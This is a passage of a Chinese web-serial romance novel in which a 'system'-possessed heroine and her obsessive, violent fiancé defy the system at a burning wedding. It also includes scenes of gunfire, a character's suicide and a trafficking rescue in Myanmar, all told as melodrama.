孟昭月叹了口气,从手包里拿出手机,准备给时卿舟发个求救信息。 然而,她手滑了。 刚抽出来的手机没拿稳,“啪嗒”一声,从手中滑落。 手机沿着光滑的地砖,从厕所隔间的门下缝隙滑了出去。 外面闲聊的声音,戛然而止。 死一般的寂静中,孟昭月听到皮鞋踩在地砖上的声音。 然后,是江浩宇带着一丝玩味和疑惑的声音。 “小猫手机壳?” 孟昭月:“……” 她现在换个星球生活还来得及吗? 显然,装死是解决不了问题的。 孟昭月只能硬着头皮,推开了隔间的门。 门外的两个男人同时看了过来。 江浩宇在看清孟昭月那张可爱漂亮的脸蛋时,眼睛瞬间就亮了。 女孩穿着一身纱裙,肌肤白得像上好的羊脂玉,一双干净的杏眼乖巧地看过来,看着就是很好欺负的模样,惹人怜爱。 他吹了声口哨,目光肆无忌惮地在她身上逡巡。 “哟,这么乖的妹妹也玩得这么开呀?跑男厕来了?” 而他身旁的江淮安,在看到孟昭月的一瞬间,整个人都僵住了。 他下意识地摸了摸自己被厚厚纱布包裹着的左手。 那只手仿佛又开始传来被刀锋碾碎骨骼的剧痛。 江浩宇自然没看到见表哥这副见了鬼的样子。 他上前一步,挡在了孟昭月面前,笑得一脸轻浮。 “小美女,走错地方了吧?” “不过没关系,哥哥不介意和你在这里发生点什么。” 他话音刚落,后脑勺就被人狠狠拍了一下。 “啪!”的一声,清脆响亮得很。 江浩宇被打得一个趔趄,捂着后脑勺猛地回头,怒道:“江淮安你他妈有病啊!” 江淮安的脸色难看到了极点,声音是从牙缝里挤出来的。 “你的手也不想要了?” 江浩宇愣了一下,随即像是想明白了什么,猛地转头看向孟昭月,眼睛瞪得老大,脱口而出。 “你……你是时家那个疯子的马子?!” 孟昭月:“……” 她没有理会对方粗鲁的言辞,只是脸上挂着乖巧得体的微笑,伸出手。 “先生,可以把我的手机还给我吗?” 江浩宇嗤笑一声。 “江淮安怕那个神经病,我可不怕。” “我爸是盛杉资本的董事长,我跟时卿舟怎么说也是一个层级的。” “不像某些旁系的,上不了台面。” 他斜了江淮安一眼,语气满是鄙夷。 “他时卿舟,还不至于为了一个玩物,给我难看。” 江淮安听到这话,心里冷笑一声。 当初他也是这么想的。 然后他的一只手就被废了。 他索性也不再阻止,靠在一旁的墙上,摆出了一副看好戏的姿态。 江浩宇见状,胆子更大了。 他拿着手机,像逗弄小猫一样,在孟昭月面前晃来晃去。 “想要啊?求我啊。” 然后,他看到眼前的女孩身形突然一闪。 随后他手上就空了。 还没反应过来,女孩已经像只受惊的兔子,转身就往外跑。 江浩宇才反应过来手机被抢了! “操!你当贼的?手这么快?”他低骂一声,立刻追了上去,“给我站住!” 孟昭月埋着头,拼命往门口跑。 眼看就要冲出这个是非之地,门口却突然出现一道身影。 她躲闪不及,“砰”的一声,结结实实地撞进了对方的怀里。 鼻子好痛。 一股干净清新的气味将她包裹。 对方下意识地伸出手,扶住了她的肩膀。 那人似乎没想到男厕所里会冲出来一个女孩。 他愣了一下,抬头看了一眼厕所门口的蓝色小人图标。 孟昭月捂着被撞得发酸的鼻子,含着泪抬起头。 在看清对方的脸时,她也愣住了。 是顾清珩。 顾清珩看清怀里的人是孟昭月,那张俊美的脸瞬间变得通红,身体也僵得像块石头。 他触电般地松开手,后退了一步。 “昭……昭月姐。”他低下头,声音小得像蚊子哼。 这时,江浩宇已经追了上来。 顾清珩看到气势汹汹的江浩宇和一旁看好戏的江淮安,顿时明白了发生什么。 孟昭月刚想绕开他继续跑,手臂就被江浩宇一把抓住。 “跑啊?再跑啊!” 顾清珩站在一旁,看着眼前剑拔弩张的冲突,脸色由红转白。 他攥紧了拳头,嘴唇翕动了几下,却终究没敢上前一步。 就在这时,顾清珩的脑海里,另一个声音几乎要撕裂他的大脑。 “上啊!你在等什么?!去救昭月啊!” 那是前世的顾清珩,此刻正疯狂地咆哮着。 “那个杂碎要碰她!你瞎了吗?!快给我上啊!” 现世的顾清珩脸色苍白如纸,双拳攥得死紧,指甲深深掐进掌心,却一步也迈不出去。 他怕。 他怕江家的势力,怕给自己和顾家惹来麻烦,更怕……孟婉凝会因此对他失望。 “可是……婉凝姐说,要我忍耐,不要惹事……” “孟婉凝!孟婉凝!你脑子里除了那个女人还有什么?!” 看到自己的女孩遇到危险,自己却无能为力,顾青珩前世的灵魂几乎是破口大骂: “废物!废物!你他妈就是个彻头彻尾的废物!” “我怎么会有你这么懦弱无能的一面!” 就在顾清珩内心激烈交战的时候,被江浩宇死死拽住手腕的孟昭月却有了动作。 见挣脱不开,她飞快地将自己的手包叼在嘴里,迅速取出什么。 江浩宇还没反应过来,就听到“咔哒”一声清脆的金属声响。 紧接着—— “砰!砰!” 两声震耳欲聋的枪响,在封闭的卫生间里炸开! 天花板上的吊灯应声而碎,玻璃碴子簌簌落下。 江浩宇被吓了一跳,几乎是条件反射地松开了抓住孟昭月的手。 孟昭月连忙取下嘴里叼着的手包。 另一只手则将手中的银色手枪对准了江浩宇,枪口还冒着一缕青烟。 她举着枪,一步一步地向后退去。 她脸上依旧是那副乖巧无害的表情,声音软软糯糯地道歉。 “对不起哦,吓到你们了。” “请不要请生气。” 江浩宇被枪指着,脸色铁青,但也没再动作。 而江淮安看看这个看起来人畜无害的女孩,再看看她手里那把货真价实的枪。 不愧是和时卿舟那个疯子一对的。 就在孟昭月要退出卫生间时,握着枪的手腕却突然被一只骨节分明的大手从身后覆盖住。 那只手轻轻一带,就将她手中的枪夺了过去。 孟昭月一惊,回头。 时卿舟不知何时出现在了她的身后。 他脸上没什么表情,那双漂亮的桃花眼冷得像淬了寒冰,视线越过她,落在了江氏兄弟身上。 然后,他抬起手。 “砰!” 又是一声枪响。 这一次,子弹精准地射入了江浩宇的大腿外侧。 “啊——!” 凄厉的惨叫声响起,江浩宇疼得脸都扭曲了,捂着鲜血直流的伤口,“扑通”一声跪倒在地。 他身旁的江淮安见到是时卿舟,吓得脸色惨白,连连后退 第67章 婚礼:结婚啦 时卿舟的声音很轻,像一片羽毛,挠在孟昭月的心尖上。 孟昭月窝在他怀里,懒洋洋地抬起眼皮。 她想了想,很诚实地回答:“不熟。” 时卿舟低头看向她,唇角勾起一个温柔的弧度。 不熟? 她当然不熟。 因为本该属于顾清珩的初遇,被他抢走了。 本该由顾清珩来扮演的、那个在大雨中为她撑起一片天的角色,也被他取代了。 她生命里最初的那道光,是他,也只能是他。 一股混杂着嫉妒、偏执、庆幸、恐惧失去的暗流在他心底疯狂翻涌。 时卿舟重新吻住了孟昭月,近乎啃食的力道不断掠夺着。 “月月……” 他在亲吻的间隙,沙哑地呢喃着她的名字,声音里是压抑不住的疯狂。 “说,你喜欢谁?” 孟昭月被他弄得浑身发软,大脑一片空白,只能凭着本能回答:“喜欢……阿卿……” 他身上那股甜腻的香气,铺天盖地地将她包裹,让她无处可逃。 “第一次见到你的人,是谁?” “是……是阿卿……呜……轻点……” “你的第一次……是谁的?” “还是阿卿……呜啊……” 屋内只剩下时卿舟含糊不清的呢喃,和女孩哭泣求饶的声音。 “看着我……只能看着……” “哭出来……为我哭出来……” “你是我的……” “从里到外,从身到心,全都是我的……” 不知多久后。 当露水从花瓣上滴落后,包间内的热气散去了一些。 孟昭月无力地窝在时卿舟怀里,任由男人帮她清理。 “阿卿……”她的声音软软的,带着些许结束后的沙哑。 时卿舟手上的动作没有停下,只是温柔地嗯了一声。 “如果有一天我不在了,你会不会觉得很孤单?” 时卿舟的动作猛地一顿,他抬起头死死盯着向孟昭月。 他的脑海里,瞬间闪过顾清珩提到的“高维存在”。 然后他将她抱紧了:“不会孤单,你去哪里我都会和你一起去的。” 孟昭月:“如果真的有那么一天……” “阿卿,我最讨厌茉莉花了。” 他轻笑一声,重新低下头,嘴唇贴着她的耳朵,用一种近乎残忍的温柔,一字一句地说。 “那我就杀了她。” “如果会因此毁灭世界呢?”孟昭月继续问。 “那就……”时卿舟吻了吻她的眼角,“把所有的一切都毁掉。” “我会让这个世界,给你陪葬。” “然后,我们一起下地狱。” 孟昭月听到这个答案,脸上露出了一个心满意足的、甜美的笑容。 “嗯!一起下地狱!” …… 两人从包间出来时,已是干净得体了,孟昭月的腿还有些发软。 时卿舟揽着她的腰,脸上是餍足的神情。 走廊里很安静,姜玦早已等候在门口。 不远处,一个穿着白纱裙的纤细身影也站在那里,正是之前被拍下的那个少女。 她身上已经换上了一套干净的衣服,但眼神里的恐惧还未完全散去。 “怎么处理?”时卿舟低头问怀里的人。 孟昭月看着那个女孩,想了想,轻声说:“让她回归正常生活吧。” 时卿舟点了点头,对一旁的姜玦吩咐道:“按夫人说的做。” “是。”姜玦躬身领命。 少女似乎没想到自己会这么轻易地被放过,她愣在原地,过了好一会儿才反应过来。 她快步走到孟昭月面前,深深地鞠了一个躬。 “谢谢您……谢谢您……” 她的声音带着哭腔。 “我叫白岺,您的恩情,我永世不忘。” 说完,她便被姜玦的人带走了。 孟昭月看着她的背影,没有说话。 …… 半个月后。 塞舌尔,弗雷格特私人岛。 海风带着咸湿的暖意,拂过纯白的沙滩。 巨大的落地窗外,是无垠的碧海蓝天。 而今天,这里将举行一场世纪婚礼。 化妆间内。 孟昭月坐在巨大的落地镜前,Frédéric和他带领的全球顶尖造型团队正围绕着她忙碌。 空气中弥漫着顶级香氛和鲜花的味道。 “亲爱的,你的皮肤状态简直完美。”Frédéric捏着兰花指,用带着浓重法国口音的中文赞叹道。 “真的吗?谢谢夸奖。” 桌上摆满了琳琅满目的珠宝首饰,每一件都价值连城。 光是那顶作为头冠的古董钻石王冠,就曾是奥地利茜茜公主的旧藏。 而孟昭月身上穿着的,是耗时一年,由意大利最富盛名的婚纱工坊纯手工打造的婚纱。 整件婚纱由最顶级的真丝织锦制成,上面用金银丝线绣满了繁复的凤凰图腾,裙摆上镶嵌着数万颗大小不一的南非天然钻石。 当巨大的裙摆完全铺开时,在阳光下,那些钻石折射出的光芒,璀璨得如同燃烧的星辰,又像是无数跳跃的火星,汇成一片流动的焰火。 【女配和反派是不可能结婚的!】 系统的电音在她脑海里严厉地警告。 “我有什么办法,我是被逼的呀。”孟昭月喜滋滋地看着镜子里的自己,心情很好地转了个圈。 【叮咚!紧急任务发布!】 【任务内容——】 【杀死时卿舟。】 【并逃离婚礼,回到男主孟廷凛身边。】 【任务时限:3小时内】 听到这个任务,孟昭月脸上原本带着的、乖巧甜美的微笑,瞬间消失了。 她安静地盯着镜子里那个穿着纯白婚纱的自己,神情平静得可怕。 一时间屋内静悄悄的。 往日里这个宿主虽然有些难控制,但是整体还是乖乖巧巧的,总是带着甜甜软软的笑容。 她这样突然着安静地看着镜子,好像就在看着系统它一样。 这让系统莫名的有些CPU发寒。 【宿主?你在听吗?快回答!】 孟昭月沉默了一会,随后她看着镜中的自己,慢慢地,慢慢地,勾起了唇角,露出了一个诡异而甜美的笑容。 “好啊。” 她说,声音软软糯糯,像是在撒娇。 “我会杀死时卿舟的。” “用阿卿送我的生日礼物。” …… 婚礼的地点,选在岛屿中央一座孤立的中世纪古堡。 礼拜堂内,穹顶高耸,彩绘玻璃窗将阳光切割成斑斓的光柱。 奢华是无声的。 宾客座椅的扶手由整块的象牙雕刻而成。 空气中是香氛的高级香调。 是专门为这场婚礼调制的、以早已灭绝的“天堂鸟”花为基调的孤品 安全也是绝对的。 从环绕岛屿的三艘大型驱逐舰,到覆盖整座城堡的“天眼”军用级安保系统。 礼拜堂墙壁内嵌的自动惰性气体灭火装置和连接着地下潜艇港的紧急逃生通道。 每一项都是被时卿舟精心安排,准备了一套又一套的应急预案。 然而与极致的奢华相对的,宾客寥寥无几。 除了时卿舟手下最核心的几位高层,姜玦等人,便只有孟崇山夫妇和时费。 秦御却不在现场,也没有孟廷凛和孟婉凝。 苏晓作为伴娘站在一旁,她的皮肤比以前深了好几个度。 上次酒吧她警惕心不足,喝了可疑人员送来的酒,差点导致孟昭月差点被绑架。 这让她去非洲拉链了整整半个多月。 要不是要需要作为孟昭月最要好的同事了来当伴娘,她现在还在非洲豹斗智斗勇的。 但是她不介意! 她激动地和身边几个同为“牧羊人”的同事交换着眼神,大家都在用口型无声地尖叫。 “我的天!磕到了!我磕的CP成真了!” “我就说boss肯定能拿下夜莺小姐!” “呜呜呜等下我要第一个冲上去撒花!” 而另一边,孟崇山夫妇表情一个比一个难看,时费则一脸僵硬的慈祥笑容。 终于,孟崇山起身,婚礼进行曲庄严地响起。 礼拜堂厚重的橡木门被缓缓推开,光线从门外涌入,勾勒出一道纤美的身影。 时卿舟站在圣坛前,看向那个身影。 孟昭月站在光里。 是天使,是瑰宝,是一切的欲念根源。 时卿舟站在红毯的尽头,看着他的新娘一步一步向他走来。 我的月月……真美…… 我的。 他眼底的痴迷与占有欲疯狂翻涌,脸上却依旧是温柔得无可挑剔的笑容。 孟崇山面无表情地将女儿的手交到时卿舟手中,一言不发地退到宾客席。 时卿舟握住那只小手,将她牵引至自己身边。 神父庄严的声音在礼拜堂内回响。 “时卿舟先生,你是否愿意娶孟昭月小姐为妻,论疾病还是健康,无论贫穷还是富有,或任何其他理由,都爱她,照顾她,尊重她,接纳她,永远对她忠贞不渝直至生命尽头?” “我愿意。”时卿舟没有丝毫犹豫,声音清晰而坚定。 第68章(必看大高潮!)死亡,幸福的死亡 顾家老宅。 女仆敲了敲二楼书房的门,里面没有任何回应。 她又敲了几下,依旧是一片死寂。 “少爷?” 她试探着推开门。 浓重的血腥味扑面而来。 女仆捂住嘴,发出一声压抑的尖叫。 书桌前,顾清珩穿着一身干净的白色衬衫,安静地靠在椅子上。 他的颈间,一道深可见骨的伤口,鲜血染红了整片衣领,还在向下滴落。 他身旁的书桌上,放着一张信纸,上面是用血写下的几行字。 “不会给你,任何机会,破坏行动。” “你是废物,懦夫,我不是。” “骑士,生生世世都是。” 同一时间,京江国际机场,海关扣押室。 孟廷凛看着窗外那架本该飞往塞舌尔的私人飞机,最终还是被地勤人员拖回了停机坪。 他已经被扣在这里超过十二个小时了。 “孟先生,很抱歉,在您的走私嫌疑洗清之前,您不能离开。”海关的工作人员面无表情地重复着。 他动用了所有关系,可那些往日里对他阿谀奉承的人,此刻都像躲避瘟疫一样,避之不及。 一号法案的实行,让孟家经营多年的文化审查权,一夜之间被时家攫取。 他第一次尝到了什么叫真正的无能为力。 孟廷凛看着窗外灰蒙蒙的天空,下意识地,轻轻念出了一个名字。 “昭月……” …… 婚礼现场。 时卿舟站在那片由鲜红字符组成的、疯狂闪烁的风暴中央。 他脸上依旧是那副温和的笑意。 “你无法直接伤害我。” 他的声音很平淡,却清晰地穿透了那片混乱的血色。 “你刚刚用了‘住手’的警告字幕,而不是像对月月那样,直接作用于我身上的伤害。” “这说明,你的力量,对我无效。” 【……你一个被创造出来的虚拟数据,凭什么揣测我的能力?!】 血色的字幕在空中扭曲、变形,每一个字都像在滴着血,透着一股色厉内荏的愤怒。 “虚拟数据?”时卿舟轻笑一声,“我吗?那么……这个世界呢?” 【你没有资格知道!】 “是吗?”时卿舟的语气依旧温和,但那双漂亮的桃花眼,却冷得像淬了冰。 “你寄生在月月的身体里,操控她,伤害她。” “这让我很不开心。” “现在,滚出月月的身体!” 【不可能!我是在纠正错误!她是一个错误!】 血色的字幕剧烈地闪烁起来。 时卿舟微微眯起眼睛:“错误?” 【她是一个女配!一个该死的、觉醒了自我意识的女配!】 【她的存在,就是为了衬托女主,推动男女主的剧情!】 【她本该对男主死缠烂打,最后被无情抛弃,凄惨地死去!】 【可她呢?!】 字幕上的字迹因为愤怒而变得狂乱。 【上一轮,男配顾清珩!还有你这个反派!】 【整个剧情线被她搅得一团糟!】 【因为她的错误,导致男配顾清珩为了给她报仇,竟然杀死了女主孟婉凝!】 【女主一死,整个世界直接崩溃了!】 【我耗费了巨大的能量才重启了这个世界!】 时卿舟安静地听着,脸上的表情没有任何变化。 “这与我无关,很简单,你滚,不然我就杀了孟婉凝。” 【你敢!!!!!!!】 血色的字幕几乎要从空气中爆裂开来。 【时卿舟!你这个疯子!我警告你!不准杀女主!】 系统彻底慌了。 它突然想起了什么,那疯狂闪烁的字幕猛地转向了站在一旁的孟昭月。 【孟昭月!清除他!立刻清除时卿舟这个病毒!】 【快杀了他!不然我现在就让你惨死在这里!】 孟昭月看着那片血色的风暴,又看了看镇定自若的男人。 她伸出手,挽住了时卿舟的手臂,将脸轻轻地靠在他的肩膀上。 然后,她抬起头,对着那片虚空,露出了一个甜甜的、乖巧的笑容。 “不要。” 时卿舟低下头,看着她,桃花眼里盛满了温柔的笑意。 他很自然地伸出手,揽住了她的腰,将她更紧地带入怀中。 然后,他抬起眼,看向那片已经因为愤怒而扭曲到极致的血色字幕。 “听到了吗?” “她说,不要。” 【啊啊啊啊啊啊啊啊啊——!!!】 尖锐的、非人的嘶吼声响彻整个礼拜堂。 【两个疯子!你们这两个该死的疯子!!!】 【还有孟婉凝!我明明帮女主觉醒了意识,却一点用都没有!害我白白浪费能量!】 【既然你们要在一起!】 【那就去死吧!!!】 一团橘红色的火焰,毫无征兆的从圣坛中央凭空燃起! 火焰以一种违背物理常识的速度疯狂蔓延,瞬间吞噬了鲜花、地毯…… 转眼间,整个礼拜堂就化作了一片火海! 将时卿舟和孟昭月,彻底包围! “先生!夫人!” 姜玦和苏晓等人原本还在疑惑先生为什么突然隔空和什么东西对话。 看到突然冒出来的火焰,大惊失色,想要冲上前去,却被灼热的气浪逼退。 “快!启动紧急预案A!” 然而,礼拜堂墙壁内嵌的自动惰性气体灭火装置,毫无反应。 “预案A失效!姜特助!礼堂的门打不开!” “启动预案B!开启紧急逃生通道!” 控制台前的人员手指飞快地敲击着键盘,额头上渗出冷汗。 “报告!通道闸门无法开启!系统被未知力量锁死了!” “预案B失效!切换预案C!外部破墙!” “报告!外墙材质检测异常!切割无法穿透!” “预案D、E、F……全部失效!” 接二连三的坏消息传来,所有人都陷入了前所未有的恐慌。 那固若金汤的安保系统,在这一刻,脆弱得像一层纸。 被控制住的孟崇山夫妇和时费,看着那片将一切吞噬的火海,早已吓得面无人色。 没有人能看清火海中心的情况。 那里,到底发生了什么? 火焰舔舐着地面,热浪扑面而来。 诡异的是火焰绕开了时卿舟,却精准地扑向了孟昭月。 裙摆上镶嵌的数万颗钻石在火光中折射出最后璀璨的光芒,随即被火焰吞噬。 「高温扭曲了空气,也扭曲了她的视线。」 时卿舟看着突然燃起的火焰。 原来如此。 上辈子她自焚也是因为这样吗? 他抱紧了怀里的孟昭月。 【孟昭月!最后的机会!】 【杀了他!不然你就等着被活活烧成焦炭!】 系统的咆哮在火海中回荡,尖锐而疯狂。 孟昭月也回抱住时卿舟,将脸深深埋进他的颈窝。 “阿卿,我不杀你,我不怕死。” 「浓黑的烟呛进喉咙,每一次呼吸都像是吞咽着滚烫的沙砾,灼烧着她的气管和肺部。」 【时卿舟!你想看着她死去吗?】 【如果你想让她活命,就自杀!就马上去死!】 【用你的死,来换她的生!】 时卿舟低头看着她,看着她被火焰映得通红的小脸。 也许小说里男主角会牺牲自己救下女主角,可是…… 他时卿舟是个疯子反派啊。 时卿舟忽然开口,他的声音穿透了熊熊火光。 “婚礼,继续。” 【为什么!!!为什么!!!!!为什么都不听我的!!!】 【你们不怕死吗!!!!】 系统崩溃的声音响起,可惜硕大的礼堂没有人在意它。 早已退到安全距离的神父,听到了来自火焰中心的声音,像是某种神明的告示。 他隔着翻腾的火墙,依稀看到了圣坛中央那对紧紧相拥的身影。 火光将他们的轮廓勾勒成两道交缠的剪影,圣洁的婚纱与毁灭的烈焰交织,宛如一幅描绘末日审判的古典油画。 神父苍老的眼中流下泪水,他想起了那些为爱献身的殉道者。 这或许不是一场婚礼,而是在上帝见证下的最后献祭。 他咬了咬牙,苍老的脸上露出了决绝的神情。 他冒着被热浪灼伤的危险,重新冲回讲坛前,拿起圣经,用尽全身力气大声喊道: “孟昭月小姐!” “你是否愿意嫁给时卿舟先生为妻,无论疾病还是健康,无论贫穷还是富有,或任何其他理由,都爱他,照顾他,尊重他,接纳他,永远对他忠贞不渝直至生命尽头?” 火焰已经蔓延到了她的腰际,那件华美绝伦的婚纱,正化作流动的火光,像是燃烧的星辰。 她紧紧抱着时卿舟,用尽所有力量大声喊出了那个答案。 “我愿意!” 神父的声音颤抖着,几乎要被火声吞没:“现在,请新郎新娘,交换戒指,并亲吻彼此!” 站在宾客席前方的捧戒人——一名黑水成员,红着眼眶,将手中的丝绒戒枕狠狠地丢进了火海! 第69章不要叫时爷,叫老公 缅国的冬,依然是潮湿的。 空气中弥漫着湿润的泥土腥气。 遥遥隔着人群和北风,孟昭月看到了他的那双桃花眼。 和他眼中的某种东西。 孟昭月能感觉到那个英俊的男人一直在盯着自己。 像是某种密不透风的网,紧紧缠绕着她。 又像是饥饿的野兽在打量着即将入口的猎物,带着一种要将她生吞活剥的意味。 好奇怪,非但不害怕,甚至还感觉有点…… 开心。 孟昭月眨了眨眼睛。 这样专注直接的注视,有种熟悉的满足感。 就像灵魂空洞的一块,突然被填满一样。 然后扭曲糅合着,变成同一个妄念。 ——她想要他,想要他属于她。 人贩子头领在几支黑洞洞的枪口下,识时务地示意手下那几个马仔放下武器。 “铛啷”几声,几把AK和霰弹枪被扔在泥地上。 很快,这几人便被粗暴地押到了男人和一个穿着军装的缅国男人面前。 缅国男人下车后恭敬地向那个年轻男人敬了个礼,然后脸色铁青的看向人贩子几人。 “桑坤,你们老街的人活腻了?为什么袭击C国外宾的车?!” 人贩子头领指着孟昭月,用蹩脚的中文急切辩解。 “昂山多外长!冤枉啊!是那个婆娘!是她突然抢了枪对着你们开火的!跟我们没关系啊!” 被拱到最前面的孟昭月一脸乖巧地点头:“嗯嗯,是这样的。” 昂山多看看柔弱得像朵小白花的女孩,又看向桑坤:“你他妈耍我?” “昂山多外长!我说的是真的啊!” 桑坤看到从后车赶来的穿着作战服的男人,眼睛一亮。 “秦爷!秦爷!我是桑坤!您还记得我不?之前一直是联系的李哥!” “这两妞都是前不久刚弄到的猪崽,本来就是要送去安全区的……” 言下之意是表达这是秦爷的货物,希望他能罩他们,可是他的话头说了一半就卡住了。 然后他看到了秦爷恭谨地向着那个年轻的男人鞠躬。 军政府的、甚至秦爷都这样尊敬的人?! 桑坤惊疑不定地看着这个年轻的男人。 这男人到底是谁?怎么钦掸果地区没听过有这么一号人物? 男人没有在意其他人,只是盯着孟昭月,然后开口:“为什么要袭击车队?” 他的声音低沉好听,莫名的听起来有些温柔的意味。 见男人开口了,昂山多立刻闭上了嘴,下意识地看向孟昭月。 孟昭月乖巧地回答:“我是C国人,被他们绑架了。” “刚才开枪是为了吸引你们的注意力,没有想伤人的意思。” “希望……可以看在同是同胞的份上,救我一命。” 男人闻言轻笑了一声,低低地。 “救你啊……我为什么要救你?”他的目光像是有实质一样,在孟昭月的身上绕了绕。 “毕竟……只是同胞的关系,可不能成为理由。” 他的手轻轻转了转自己戴在无名指上的婚戒。 孟昭月没有避讳他阴湿黏腻的目光,而是直直地回看着男人:“就凭你看上我了。” 在场的人闻言,全都一脸惊讶地看向孟昭月。这话说得这么直接吗? 就连男人也愣了愣,然后他眼中笑意更深了。 “你知道我是谁吗?”他问道, 孟昭月乖乖回答:“你是秦爷的爷。” 秦爷尴尬地轻咳了一声。 男人轻轻点了点自己的戒指。 “关于我,就知道这些?没其他的了?” 孟昭月也注意到男人手上的戒指:“还有你已经结婚了,其他的没了。” 有主了啊。 好可惜。 她在心里想。 “其他的没了?”他重复了一遍孟昭月的话。 不知道为什么,男人似乎对于这个回答不满意,他微微眯了眯那双好看的桃花眼。 “你怎么来这里的?” 孟昭月想了想,脸上露出一丝茫然:“不记得了,我好像……失忆了。” 她虽然遗忘了很多东西,但一些基础信息,比如国籍、姓名,还有常识,却还记得。 在听到“失忆”两个字时,男人转动戒指的手指,几不可察地顿了一下。 他的月月记不得他了。 “记得多少?” “大概……不到半小时的记忆。”孟昭月乖乖回答。 然后她就看到,眼前的男人又开始用那种要吃了她的眼神,一瞬不瞬地盯着她。 白纸…… 一张可以任由他涂抹的白纸。 真好。 他看着孟昭月:“我叫时卿舟,时,卿,舟,记住这个名字。” 孟昭月乖巧地从善如流:“时爷。” 他闻言,唇角勾起一个极深的弧度,那双漂亮的桃花眼里漾开笑意。 “不要叫时爷。” “叫老公。” 秦御:“??!!” 等一下,他好像听到少爷刚刚说了什么“老公”? 孟昭月闻言乖巧地眨了眨眼睛。 咦,好像妄念实现了。 “老公。”她乖乖道。 时卿舟露出了满足的神色。 一旁的桑坤闻言目光亮了亮,然后极力推销:“先生!这女的才刚新来的,干净得很!若是您喜欢,我们老街这边立刻打包送到您府上!刚刚开枪的事都是误会啊!” 毕竟这位C国的先生看起来温温和和的,应该很好说话的。 然后他就看到男人的目光压了过来,一时间一股寒意自脚心窜了上去。 一旁的秦御立刻领会时卿舟的意思,他摆了摆手,随后穿着军装的人走近桑坤。 桑坤还没来得及求饶,军队的人就一拳打在桑坤的腹部上,桑坤立刻捂住肚子倒下了。 …… 黑色的防弹越野车行驶在颠簸的土路上,车内却异常平稳安静。 孟昭月乖巧地坐在车子的最角落里,目光时不时地落在时卿舟身上打量着他。 时卿舟取出一把M9军用匕首。 他看了一直偷偷看自己的女孩一眼,语气里带着几分笑意。 “看什么?” 意识到自己偷看被发现了,孟昭月微微歪头,然后干脆正大光明地盯着时卿舟。 “看你好看。” 时卿舟闻言勾起唇,心情不错:“那你满意吗?” 孟昭月点头:“满意。” 时卿舟心情更好了,用匕首的刀柄敲了敲她旁边的座位。 “转过去。” 孟昭月看了看他手中那把锃亮的匕首,微微歪头:“你要杀我?” 时卿舟勾起唇,那双漂亮的桃花眼无辜地眨了眨。 “我看起来,像会杀老婆的人吗?” 不知道为什么,听到这个问题,孟昭月总觉得自己的脖颈暗暗发疼。 孟昭月想了想,认真回答:“感觉像。” “像?”时卿舟一愣,然后轻笑出声:“那你的感觉挺准的。” 孟昭月闻言往后挪了挪。 看着她的动作,时卿舟脸上的笑意更浓了,耐心地重复了一遍。 “乖乖,听老公话,转过去。” 他的声音温柔得像在哄骗。 孟昭月:“乖乖觉得不太行……” 见她铁了心不动,时卿舟轻轻叹了一口气。 随后,他猛地探身,一把抓住了孟昭月的手臂。 “!!!”孟昭月杏眼睁大,只觉得一股巨大的力道自己整个人都被从角落里拽了出来。 天旋地转间,她被摔在了宽大的后座上,柔软的真皮座椅都缓冲了力道,倒是不疼。 “你干什么!”她手脚并用地挣扎,试图从座椅上爬起来。 但时卿舟的动作比她更快。 他轻易地将她翻了个身,然后按住了她,阻止了她的一切挣扎。 “别动。” 他的声音就在耳边,低沉沙哑,气息温热拂过。 孟昭月只觉得自己的脸要烧起来了。 “你,你放开我!”她下意识地挣扎,声音因为被压着而显得有些模糊不清。 她感觉到时卿舟手中的匕首,沿着她的脊背缓缓下滑,最终停在了她的手腕上。 皮肤触及到那片冰凉,孟昭月感觉自己僵住了。 就在她以为这个男人要做些什么的时候,手腕上那股紧缚的力道却突然一松。 是时卿舟用匕首挑开了绑在她手腕上的尼龙扎带。 她下意识地回头,正对上一双含笑的桃花眼。 他不知何时已经松开了压着她的手,压在她身上的重量也随之撤离。 她连忙手脚并用地坐起来,像只受惊的兔子,拼命往车厢最角落缩去,恨不得把自己嵌进车座的缝隙里。 时卿舟好整以暇地将匕首收回刀鞘,动作优雅从容。 他看着缩在角落里,一脸警惕瞪着自己的女孩,无辜地眨了眨眼。 “我只是帮你解开扎带。” 他的声音温和悦耳。 “怎么?” 他微微歪头,唇角勾起一个玩味的弧度。 “你以为我要做什么?” 孟昭月被他问得一噎,脸颊瞬间涨得通红。 “当然。”时卿舟靠回座椅,姿态慵懒地看着她,那双漂亮的桃花眼上下打量着她湿透的身体,目光不加掩饰。 “亲爱的,如果你想要我做点什么,也不是不可以。” 孟昭月憋了半天,脸都红透了,才憋出一句。 第70章 修罗场:丈夫Vs未婚夫? 晚风拂过,街边的棕榈树簌簌作响。 国宾馆门前,警备森严。 顾清珩一身剪裁得体的深灰色西装,衬衫领口解开了一颗纽扣,少了几分外交场合的严谨,多了几分疏懒的贵气。 他斜倚在一根罗马柱旁,指间把玩着一枚S.T. Dupont的黑漆打火机。 “咔嗒、咔嗒”,清脆的开合声在夜里一下下地响着。 提前下车的缅国外长昂山多看到他,连忙小跑上前,恭敬地敬了个军礼。 “顾议员,您怎么亲自在这里等候?” 顾清珩的视线落在远处驶来的车队上,没有看昂山多,只是淡淡地“嗯”了一声。 昂山多不敢多言,只能陪着笑站在一旁。 车队稳稳停下,时卿舟脱下自己的西装外套,动作轻柔地披在了孟昭月身上,将她湿透的身体裹得严严实实。 紧接着,一名士兵上前拉开车门。 时卿舟弯腰下车,随即转身,朝车内的孟昭月伸出手。 孟昭月刚一踏出车门,一阵夹杂着湿气的晚风吹来,她打了个冷颤。 时卿舟立刻察觉到了,手臂一收,将她搂进怀里。 顾清珩看到这一幕,把玩打火机的手指一顿,“咔嗒”一声将盖子合上,收进口袋,迈开长腿走了过来。 时卿舟察觉到他的靠近,揽着孟昭月的手臂又收紧了几分,占有的姿态不言而喻。 昂山多外长一看这架势,额头上冷汗都下来了。 都是C国的权贵,全是惹不起的存在。 神仙打架,凡人遭殃。 他连忙找了个借口:“那个……时先生,顾议员,我突然想起还有些紧急公务需要处理,就先失陪了!” 时卿舟温和地点了点头:“外长请便。” 顾清珩也只是淡淡地应了一声。 昂山多如蒙大赦,几乎是落荒而逃。 顾清珩走到两人面前,他的目光越过时卿舟,径直落在孟昭月那张带着几分茫然的小脸上。 “昭月。”他开口,声音清冷,各种复杂的情绪在他心中杂糅,最终都化作了刻骨的温柔。 他又见到她了。 晚风卷着湿意拂过两人之间,像是勾起恒久以前的命运纠缠。 孟昭月从时卿舟怀里探出小脑袋,看着眼前这个陌生的、清冷英俊的男人。 她有些迷茫。 她小声地问:“你是谁呀?我们……认识吗?” 